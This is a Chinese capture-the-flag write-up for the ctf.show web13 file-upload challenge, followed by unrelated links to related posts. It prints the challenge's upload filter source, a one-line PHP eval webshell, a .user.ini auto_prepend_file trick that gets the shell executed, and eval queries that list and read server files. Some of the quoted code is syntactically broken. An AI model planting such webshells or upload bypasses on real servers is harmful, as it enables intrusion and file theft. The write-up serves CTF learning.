ctf.show_web13

上传一句话木马 1.php文件,显示

再改后缀为.jpg,显示错误文件大小

用dirsearch扫一下

备份文件.bak

下载文件源码

php 复制代码
<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

要求文件大小少于24字节,文件名少于九个字节,后缀小于三个字节,并且后缀不能是.php ,文件名不能为php。

构造一个一句话的文本文件a.txt,大小刚好24

<?php eval($_POST'a');

然后构造一个.user.ini文件

auto_prepend_file=a.txt // 意思是所有a.txt文件都以php文件方式打开

在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。在 .usr.ini 中输入 auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含 a.txt 的内容 。

上传成功之后,但蚁剑这里连接不上,可能是.txt文件蚁剑无法通过php进行解析吧。第二种方法:

?a=print_r(glob("*")); // 显示所有文件

?a=highlight_file("文件名"); //显示文件到前端

记得后面要打 ;

相关推荐
JohnnyDeng949 小时前
【Android】Hilt 依赖注入:原理与最佳实践
android·kotlin·mvvm·hilt
星间都市山脉12 小时前
Android STS(Security Test Suite)完整介绍与测试流程
android·java·linux·windows·ubuntu·android studio·androidx
Yeyu13 小时前
你真的了解AIDL吗? 附:AIDL 与 Binder 交互全解析
android
dualven_in_csdn15 小时前
一键起飞调用示例
android·java·javascript
故渊at15 小时前
第十板块:Android 系统稳定性与调试 | 第二十五篇:Watchdog 与 ANR 的系统级监控
android·watchdog·系统稳定性·anr·超时监控
故渊at16 小时前
第十板块:Android 系统稳定性与调试 | 第二十六篇:Systrace 与 Perfetto 的系统级性能分析
android·perfetto·性能分析·systrace·系统稳定性
吕工-老船长199816 小时前
20260610----S905Y5(Android14)-----连接网络自动更新时间,时间设置为24小时
android
杉氧17 小时前
Kotlin 协程深度解析④:架构实战——在 MVVM/MVI 中的进阶应用
android·kotlin
Ab_stupid17 小时前
CTF-Android培训笔记
android·笔记